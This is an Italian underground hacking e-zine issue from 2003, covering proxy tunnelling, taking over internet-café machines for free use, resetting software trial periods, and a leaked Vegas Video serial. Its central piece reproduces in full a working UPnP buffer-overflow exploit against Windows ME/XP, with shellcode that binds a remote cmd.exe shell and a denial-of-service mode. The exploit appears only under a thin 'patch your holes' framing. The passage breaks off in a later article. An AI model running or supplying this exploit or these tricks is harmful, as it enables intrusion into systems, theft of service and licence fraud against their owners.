+-----------------------------------------------------------------------------+
|    \__/    \__/          SiAmO ToRnAti COn Un nUoVo nUMeRo e tAnTe NoViTà   | 
|    (oo)    (oo)               eDiZiOnE AfTeR SuMmEr 15 sEtTeMbRe 2003       |
| (\//~~\\  //~~\\                         30 NuOvIsSiMi ArTiCoLi             |
|  \/\__//  \\__//                                                            | 
|    ||||    ||\\                                                             |
|___ |||| __ |||| ____[INFORMAZIONELIBERA E-ZINE 03]__________________________|
|   (_)(_)  (_)(_)                                    AsCiI aRt bY CyBeRdUdE  |
+-----------------------------------------------------------------------------+
|                                                                             |
+-----------------------------------------------------------------------------+      
|      Il quarto numero della e-zine riguardante l'underground italiano       |
+-----------------------------------------------------------------------------+   
| IIII  LLLL    I N F O R M A Z I O N E L I B E R A    E - Z I N E   N 0 3    | 
| IIII  LLLL                                                                  |
| IIII  LLLL           [ST4MP4 UND3RGR0UND] - [Stampa Underground]            | 
| IIII  LLLL                                                                  |
| IIII  LLLLLLLL  www.informazionelibera.cjb.net  ~  cyberdudeIL@libero.it    | 
| IIII  LLLLLLLL         [ELECTRONIC MAGAZINE INFORMAZIONELIBERA]             |
+-----------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>
+-----------------------------------------------------------------------------+
|                     L E G A L      D I S C L A I M E R                      |
+-----------------------------------------------------------------------------+ 
|Nota bene: Informazionelibera non si riterrà responsabile di eventuali  danni| 
|provocati dal cattivo utilizzo delle notizie presenti in questa  e-zine!tutti| 
|gli articoli sono scritti a scopo  dimostrativo  con  l'intento  di  spiegare| 
|e approfondire conoscenze informatiche. Qualsiasi uso  illecito   delle  info| 
|presenti nella e-zine è responsabilità del fautore di tale inflazione        |
+-----------------------------------------------------------------------------+
+-----------------------------------------------------------------------------+
|                  COSTITUZIONE DELLA REPUBBLICA ITALIANA                     |
+-----------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili                             |
| Articolo 21                                                                 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero cone la  |
| parola ,   lo  scritto   e   ogni   altro  mezzo    di  diffusione.  [...]  |
+-----------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>
+-----------------------------------------------------------------------------+
|               I MEMBRI CHE HANNO PARTECIPATO A QUESTO NUMERO                |
+-----------------------------------------------------------------------------+
| 03x01 - Cyberdude         - [cyberdudeIL@libero.it   ]                      |
| 03x02 - Unrelated         - [unrelated@libero.it     ]                      |
| 03x03 - Graftal           - [Macro_Six3@hotmail.com  ]                      |
| 03x04 - Evil              - [webmaster@eviltime.com  ]                      |
| 03x05 - Bigalex           - [b1galez@hotmail.com     ]                      |
| 03x06 - Tailot            - [webmaster@tailot.zzn.com]                      |
| 03x07 - BrNoCrIsT         - [brnocrist@libero.it     ]                      |
| 03x08 - Erazor            - [gtp84@sitoverde.com     ]                      |
| 03x09 - ^_][ice][man][_^  - [edivada@iol.it          ]                      |
| 03x10 - Nemesis           - [nemesis@blangels.it     ]                      |
| 03x11 - Elias             - [gandalfely@katamail.com ]                      |
| 03x12 - Kornuto           - [     Non pervenuta      ]                      |
| 03x13 - Loxeo             - [     Non pervenuta      ]                      |
| 03x14 - Lord Jex          - [     Non pervenuta      ]                      |
| 03x15 - Amenour           - [     Non pervenuta      ]                      |
+-----------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>
+-----------------------------------------------------------------------------+
|                I PRECEDENTI NUMERI DI INFORMAZIONELIBERA                    |  
+-----------------------------------------------------------------------------+
| INFORMAZIONELIBERA 00 <----- 30 articoli ------------------> 06 Maggio 2003 |    
| INFORMAZIONELIBERA 01 <----- 29 articoli ------------------> 06 Giugno 2003 |                                   
| INFORMAZIONELIBERA 02 <----- 35 articoli ------------------> 27 Giugno 2003 |
+-----------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>
+-----------------------------------------------------------------------------+
|                         M       E       N       U'                          |
+-----------------------------------------------------------------------------+
+--[ INFORMAZIONELIBERA 03 ]--------------------------------------------------+
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ INFO ]-------------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Informazionelibera : il contesto ...................(IL crew)...+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ HACKING ]----------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Tunneling http Vs Rete aziendale ...................(Cyberdude).+  |
|     +....Internet point a costo zero ........................(Cyberdude).+  |
|     +....Periodo valutativo?? Ma finiamola per favore .......(Cyberdude).+  |
|     +....Le leggende metropolitane della porta 5000 .........(Lord Jex)..+  |
|     +....SSDP - UPnP - 5000.......vi dicono qualcosa??? .....(Amenuor)...+  |
|     +....Una pagina web che si trasmuta in eseguibile? ......(Unrelated).+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ CRACKING ]---------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Autokeygen Wzip Self-Extractor&patcher under win32..(Graftal)...+  |
|     +....S.F. Acoustica MP3 Audio Mixer&keygen development...(Graftal)...+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ LINUX ]------------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Nascondiamo un processo o difendiamoci da tale......(Loxeo).....+  |
|     +....Introduction2shellcoding4overflows exploiting ......(Nemesis)...+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ PROGRAMMAZIONE ]---------------------------------------------------+  |
|     +....................................................................+  |
|     +....Inline assembly for beginners ......................(Evil)......+  |
|     +....Introduzione all'assembler .........................(Elias).....+  |
|     +....Giocando s'impara ..................................(Loxeo).....+  |
|     +....Tutorial Turbo Pascal lezione 2 ....................(Kornuto)...+  |
|     +....Un Virus in Pascal .................................(Kornuto)...+  |
|     +....Programmare gli Oggetti Excel in VB ................(Unrelated).+  |
|     +....Fottuto errore 3170 ISAM INSTALLABILE ..............(Unrelated).+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ FAI DA TE ]--------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Telefono Voice via IP...............................(Bigalex)...+  |  
|     +....Mp3 to Wav with Winamp..............................(Cyberdude).+  |
|     +....Zippa lo zip .......................................(Tailot)....+  | 
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ ARCHITETTURA DEI COMPUTER ]----------------------------------------+  |
|     +....................................................................+  |
|     +....Elaboratori Elettronici (PC)........................(BrNoCrIsT).+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ SECURITY ]---------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Basta SPAM nella casella di posta elettronica ......(Cyberdude).+  |
|     +....Vita dura per i worms ..............................(Cyberdude).+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ PHONE PHREAKING ]--------------------------------------------------+  |
|     +....................................................................+  |
|     +....SMS, NO LIMITS and spoofing ........................(EraZor)....+  |
|     +....Creiamo uno Wardialer  .............................(EraZor)....+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ CRITTOGRAFIA ]-----------------------------------------------------+  |
|     +....................................................................+  |
|     +....Crittografia e serpent  ............................(Unrelated).+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ STENOGRAFIA ]------------------------------------------------------+  |
|     +....................................................................+  |
|     +....Quando un' immagine non è solo un' immagine.........(Ice Man)...+  |
|     +....................................................................+  |
|     +....................................................................+  |
|  +--[ IL PENSIERO DELL'HACK ]--------------------------------------------+  |
|     +....................................................................+  |
|     +....Exploits e Legge ...................................(Nemesis)...+  |
|     +....Trattato Filosofico: iL kØsMØS .....................(Unrelated).+  |
|     +....Storie di Programmazione ...........................(Unrelated).+  |
|     +....................................................................+  |
|     +....................................................................+  |
+-----------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>

+==[ INFO ]===================================================================+
|  Titolo: Informazionelibera : il contesto                                   |
|  Autore: IL crew                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
INFORMAZIONELIBERA ... IL CONTESTO 

Bene bene ragazzi… Lunedì primo settembre ore 19:47, Cyberdude è  ufficialmente 
dinnanzi al suo buon vecchio pc. Stagione estiva dichiarata  chiusa, buttiamoci 
alle spalle questi due stupendi mesi di mare,  di  relax,  di  amori  sotto  le 
stelle e dedichiamoci interamente ad un nuovo anno di Informazionelibera.  Come 
da promessa siamo tornati con tanti articoli nuovi, freschi  …  ci  sono  stati 
anche altri ingressi nel gruppo, altre persone di esperienza, altri ragazzi con 
tanta voglio di imparare, di crescere. Il gruppo comincia ad  avere un suo nome, 
anche  al  mare  ho  conosciuto  gente  che  leggeva  informazionelibera  senza 
conoscermi. Informazionelibera è il nostro prodotto e se la  gente  comincia  a 
leggerlo  vuol  dire che  tanto  male non  è.  Il  fine  della e-zine ormai  lo 
conoscete, estendere sempre di più il campo della conoscenza informatica,  fare 
luce su tutte quelle cose che i media tendono a vedere come un tabù, combattere 
contro l'idea che l'hacker è il cattivo, noi  vogliamo  rendere  l'informazione 
libera, vogliamo far si che il nostro prodotto sia un punto di riferimento  per 
chiunque abbia voglia di imparare cosa è nascosto dietro  questa  scatola  nera 
che è il pc e non ha i fondi per permettersi un corso. Speriamo che  il  nostro 
lavoro sia utile a questo fine … combattiamo l'ignoranza informatica,  imparare 
insieme è facile! Ora non voglio seccarvi troppo con questi discorsi filosofici 
sulla storia dei pc e sulla morale del  gruppo,  invece  di  tante  chiacchiere 
vediamo i fatti, vi presento il quarto numero di informazionelibera, spero  sia 
di vostro gradimento... Ci tengo a fare un applauso al gruppo perchè ci mettono
davvero molto impegno!Bravi ragazzi ottimo lavoro... a tutti voi buona  lettura 

INFORMAZIONELIBERA CREW 

+==[ HACKING ]================================================================+
|  Titolo: Tunneling http Vs Rete aziendale                                   |
|  Autore: Cyberdude                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Ciao a tutti ragazzi… qui Cyberdude vi parla dallo scuro della sua stanza  alle 
23:51 di Domenica 31 agosto. Questa sera voglio rivolgermi soprattutto a coloro 
che usano connettersi spesso dall'università o comunque da  reti lan  aziendali 
rompiscatole!! Vi è mai capitato di trovare un intoppo nelle vostre azioni? Che 
ne so, avete voglia di usare  C6  per una  bella  chattata  e  il proxy  ve  lo 
impedisce, oppure provate a connettervi con WinMx per scaricare qualche cosa ma 
anche questa volta il proxy ve lo impedisce!! Beh ragazzi  non vi  preoccupate, 
questa sera vi insegno una tecnica chiamata tunneling  http.  A  cosa  serve? A 
risolvere questi problemi… come prima cosa vi spiego da  cosa  dipendono  tutti 
gli intoppi che trovate, il proxy delle reti aziendali  sono  settati  in  modo 
tale che non accettano alcuni protocolli quali Pop3 o socks  ma  permettono  la 
sola navigazione on-line. Il tunneling invece serve proprio a bypassare  questi 
proxy. Quindi noi abbiamo dinnanzi un pc inserito nella rete lan che  collegato 
ad un proxy lascia passare  soltanto  comandi  http  e  ci  permette  di   fare 
determinate azioni in internet, quello che noi dobbiamo fare  è  trasformare  i 
protocolli che ci interessano (Pop3 o socks)  in http. Il  tunneling  è  a  sua 
volta un protocollo formato da due parti : lato server e lato client. Il client 
prende i comandi che gli diamo(socks), li trasforma in http e  li  spedisce  al 
lato server che li ritrasforma di nuovo in socks e ci permette  di  raggiungere 
il nostro scopo. Il programma più usato per  questo  genere  di  passaggi  è il 
HTTPORT , reperibile facilmente in internet con una ricerca su qualsiasi motore 
di ricerca, che accetta comandi di tipo Socks 4. Non abbiate paura di eventuali 
configurazioni perché il programma si  autoconfigura,  o  almeno  lo  fa  nella 
maggior parte delle volte, se non è così allora dovrete darvi da fare da  soli. 
Questo programma dopo aver ricevuto il nostro comando dal  PC  si   collega  al 
server tunneling attraverso il proxy aziendale  e lo  trasforma in  comandi  da 
inviare in internet. Per quanto riguarda la configurazione dovremo selezionarla 
in questo modo :

IP -> Localhost 
Porta -> 1080 

La stessa configurazione la faremo per un  programma  chiamato  SOCKSCAP32  che 
useremo per lanciare  programmi  sul  nostro PC.  Lanciando  un  programma  con 
SOCKSCAP32 si traforma qualunque tipo di  connessione  in SOCKS  ed  inviata al 
HTTPORT che la riinvia attraverso il PROXY in http al SERVER TUNNELLING che  la 
ritrsforma in SOCKS. Chiaro? Ragazzi detto questo  mi  sa  di  avervi  spiegato 
tutto… l'unica cosa che ho tralasciato sono gli imprevisti di  percorso  hehehe 
ebbene si ci sono anche quelli, qualche  problemino  potrebbe  provocarcelo  il 
buon vecchio FTP dato che alcuni server rifiutano queste specie di connessioni, 
in tal caso mi dispiace ma di fronte a questo  imprevisto dovete  arrendervi o, 
se   trovate    soluzione,  non  aspettate  a   farmi   sapere   all' indirizzo 
cyberdudemail@libero.it hihihi :p Detto questo ci metto  un  punto,  vi  saluto   
vado a dormire perché sono le 0:09 di lunedì primo settembre e  devo  ammettere 
che ho un po' di sonno … good night a tutti i lettori, agli  aspiranti  hacker, 
ai newbie, ai veterani del club, buona notte a tutti.

Cyberdude 


+==[ HACKING ]================================================================+
|  Titolo: Internet cafè a costo zero                                         |
|  Autore: Cyberdude                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Good Morning people, è quasi l'alba di  lunedì  primo  settembre…  come  potete 
notare in questo periodo sto facendo le ore piccole!  Stanotte non  riuscivo  a 
dormire e pensavo a quante cose bensì siano scontate e vecchie quanto il  mondo 
sono ancora sconosciute a gran parte dei giovani che hanno il loro approccio al 
computer da un paio di anni a questa  parte, così  mi  son  detto,  perché  non 
renderle note visto che ne ho la possibilità. Dunque bando alle ciance,  questa 
mattina vi parlerò degli internet cafè, internet point o come solete chiamarli. 
Per chi non lo sapesse tali nomi vengono date a strutture dove una  persona  si 
può recare e inserendo schede prepagate o contanti può connettersi  a internet. 
Ma c'è un modo che sfrutta il buon vecchio windows bidonando tali  strutture  e 
permettendoci non solo di connetterci gratuitamente ma di diventare  i  padroni 
incontrastati della macchina. Il trucchetto  sta  qui,  sedetevi  davanti  alla 
vostra postazione e senza preoccuparvi di nulla (a  parte  della  sorveglianza) 
premete il tasto F3 … quando si aprirà la finestra di ricerca non  dovete  fare 
altro che ricercare *.*  in tutto il sistema . Dopo un po'  di  tempo  dovrebbe 
uscire un programma chiamato Disattiva.exe o cose del genere . Non vi dico cosa 
dovete fare,  penso  siate  capaci  di  capire  che  quella  è  la  chiave  per 
disabilitare il bot del sistema e quindi di prendere il comando della macchina. 
A questo punto se siete bravi programmatori potreste anche scrivere  un  vostro 
bot per riservarvi l'accesso esclusivo, ma  queste  sono  cose  x  fanatici,  e 
rischiereste anche di farvi acchiappare, quindi vi consiglio di rimettere tutto 
come prima dopo aver fatto i vostri porci comodi gratuitamente. Ci avreste  mai 
pensato ?  Un   internet  point  più  economico  della  connessione  di  casa … 
praticamente gratis!!! Hhihiih Vabbè comunque ora ci metto un punto e vi saluto 
alla prossima. Buon proseguimento a tutti

Cyberdude  

+==[ HACKING ]================================================================+
|  Titolo: Periodo valutativo?? Ma finiamola per favore                       |
|  Autore: Cyberdude                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Lunedì 8 settembre 2003 … ricordatelo questo giorno,  perché  è il  giorno  che 
Cyberdude ha detto BASTA!!! Basta ai programmi con periodo valutativo perché da 
oggi la durata del periodo valutativo la decidiamo noi! Quando questo  articolo 
sarà finito voi direte : Che cazzata! Come ho fatto a non pensarci io. Comunque 
per spiegarvi tutto devo spiegarmi la mia vicenda, quindi ritornare indietro di 
3 mesi, proprio prima di partire per il mare, a giugno!  Mi  hanno  portato  un 
programma (Vegas Video 3.0 della Sony) tale programma ci chiede di inserire  un 
seriale per accedere al programma valutativo, dopo di che ci chiede se vogliamo 
provare il programma per 60 giorni  perché  dopo  i  60  giorni  non  sarà  più 
utilizzabile io a quei tempi naturalmente scelsi il periodo  valutativo  di  60 
giorni invece di acquistare il prodotto subito. Adesso spostiamoci al primo  di 
luglio, io parto per il mare…  computer  spento  per  2 mesi,  ritorno  a  casa 
previsto per il 28 agosto!! Eccomi  sono  tornato  a  casa  periodo  valutativo 
scaduto da poco tempo ma… vado ad aprire il programma e mi dice che ho altri 27 
giorni!! Com'è possibile?? Non lo so è successo  qualcosa  di  strano,  qualche 
giorno dopo vado a vedere l'ora in  basso a destra  del  mio WIN XP ( che tutti 
criticano tanto) indovinate un po'? il calendario era rimasto al 27 luglio, non 
so come mai, comunque rimetto la data corrente e  non  ci  penso  più.  Oggi ho 
aperto il programma e da 27 giorni che avevo ancora per valutare  il  programma 
adesso (2 giorni dopo da quando l'avevo visto l'ultima volta) era scaduto. Cosa 
era successo?? Ebbene si! Penso che a questo punto abbiate capito tutti dov'era 
il trucchetto, per provare la mia tesi ho rispostato la data  a giugno  (giorno 
di attivazione  del  programma  o  qualche giorno prima)  ho   reinstallato  il 
programma ed era di nuovo  attivo,  con  tutti  i  60  giorni  di  valutazione… 
qualcuno in meno perché non avevo messo il giorno esatto  ma  comunque  non  fa 
niente. Dunque tiriamo le conclusioni, ora  voi direte,  mi  stai  dicendo  che 
quando scade il periodo di valutazione non devo fare altro che  disinstallarlo, 
mandare indietro l'orologio di un paio di mesi e reinstallare il programma  per 
riaverlo  funzionante ? Yes  la  risposta  è  si!! Senza  dover  essere   bravi 
programmatori  e  senza  usare  alcun  programma  abbiamo  fregato  il  periodo 
valutativo del software. Ora non so se questo giochetto funziona  con  tutti  i 
programmi, con questo sicuramente si perché l'ho provato … fatemi sapere voi se 
funziona anche con altri programmi ok? Ciao alla prossima! Ah quasi dimenticavo
per utilià e per scrivere qualche altra  cazzata  vi  allego  anche  il  Serial 
Number di vegas video 3.0 (9K-E2DQV8-RPTSPY-774GP0) ps. Se serve altro chiedete
pure, mi trovate su #informazionelibera  

Cyberdude 


+==[ HACKING ]================================================================+
|  Titolo: Le leggende metropolitane della porta 5000                         |
|  Autore: Lord Jex                                                           |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Inizio: Si parla di un bug parecchio vecchiotto, i cui programmatori microsoft 
hanno posto rimedio da mucho tempo, ma invece molti sysadm non hanno invece 
intenzione di riparare.Infatti chi ha installato windows XP completo cioè con 
tutti i pacchetti si renderà conto di come,facendo uno scan delle porte in 
remoto si nota la porta 5000. Essa fà riferimento a un plug-in chiamato 
Universal Plug & Play.Infatti qualunque antivirus vogliate istallare su questi 
portali,l'antivirus concede al sistema la capacità e la possibilità di lasciare 
in listen la 5000 poichè essa viene aperta dal Os.Cosa si può fare con questo 
bug? si può avere accesso remoto da root! Incollo il sorgente dell'Exploit in 
maniera integra,non toccando minimamente il codice.



 * WinME/XP UPNP dos & overflow 
 *
 * Run: ./XPloit host <option>
 *
 * Windows run the "Universal Plug and Play technology" service 
 * at port 5000. In the future this will allow for seemless 
 * connectivity of various devices such as a printer.
 * This service have a DoS and a buffer overflow I exploit here.
 *
 * PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
 *
 * Author: Gabriel Maggiotti
 * Email: gmaggiot@ciudad.com.ar
 * Webpage: http://qb0x.net
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90

/***************************************************************************/

int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]="XP";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks;
int bindport;
int i;
int port;

 unsigned char shellcode[] =
        "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4" 
  "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
        "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" 
  "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
        "\x68\x68\x68\x68"; 
struct hostent *he;
struct sockaddr_in their_addr;


  if(argc!=3)
  {
    fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
    fprintf(stderr,"-f freeze the machine.\n");
    fprintf(stderr,"-e exploit.\n");
    exit(1);
  }


  if(strstr(argv[2],"-f")) {
    num_socks=FREEZE;
    send_buffer=sendXP;
  }

  if(strstr(argv[2],"-e")) {
    num_socks=1;
    send_buffer=request;
    bindport^=0x9797;
    shellcode[778]= (bindport) & 0xff;
    shellcode[779]= (bindport >> 8) & 0xff;

    for(i = 0; i < 268; i++)
            jmpcode[i] = (char)NOP;

    jmpcode[268] = (char)0x4d;
    jmpcode[269] = (char)0x3f;
    jmpcode[270] = (char)0xe3;
    jmpcode[271] = (char)0x77;
    jmpcode[272] = (char)0x90;
    jmpcode[273] = (char)0x90;
    jmpcode[274] = (char)0x90;
    jmpcode[275] = (char)0x90;

    //jmp [ebx+0x64], jump to execute shellcode
    jmpcode[276] = (char)0xff;
    jmpcode[277] = (char)0x63;
    jmpcode[278] = (char)0x64;
    jmpcode[279] = (char)0x90;
    jmpcode[280] = (char)0x00;

    for(i = 0; i < 32; i++)
         execode[i] = (char)NOP;
    execode[32]=(char)0x00;
    strcat(execode, shellcode);

         snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
  }

  if((he=gethostbyname(argv[1]))==NULL)
  {
    perror("gethostbyname");
    exit(1);
  }


/***************************************************************************/

  for(i=0; i<num_socks;i++)
    if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
      perror("socket"); exit(1);
    }


  their_addr.sin_family=AF_INET;
  their_addr.sin_port=htons(PORT);
  their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  bzero(&(their_addr.sin_zero),8);



  for(i=0; i<num_socks;i++)
    if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct 
sockaddr))==-1)
  {
    perror("connect");
    exit(1);
  }

  
  for(i=0; i<num_socks;i++)
  if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
  {
    perror("send");
    exit(0);
  }


  for(i=0; i<num_socks;i++)
  close(sockfd[i]);


return 0;
}


Buon lavoro.Questo articoletto serve a farvi capire che dovete porre rimedio 
alle falle,non lasciarle la pensando " é un bug vecchio, chi vuoi che lo usi??"

Lord Jex

+==[ HACKING ]================================================================+
|  Titolo: SSDP - UPnP - 5000.......vi dicono qualcosa???                     |
|  Autore: Amenuor                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Ecco qui il mio PrimissimoSuperIperMegaTeraExaGigaMegaTutorial!!!!
Ieri non avevo niente da fare e ho deciso di passarmi un pò il tempo a fare un 
bel local port scanning....sapete cos'è no? vabbè siccome non ho niente di + 
importante da fare ve lo spiego....un local port scanning  è un normalissimo 
port scan ma fatto sul proprio pc (l'unico uso legale ke può essere fatto con 
un programma di port scanning......credo:). Cmq  ho  notato  ke  c'era la 
simpatica porticina 5000 letteralmente spalancata.....allora ho fatto una bella 
ricerca e ho scoperto ke sulla  porta 5000 gira il Servizio di rilevamento SSDP 
(SSDP Discovery Service) che è un protocollo utilizzato  dall' Universal  Plug  
and  Play  (UPnP)......per  ki  non  lo  sapesse  l'UPnP  è  una tecnologia che 
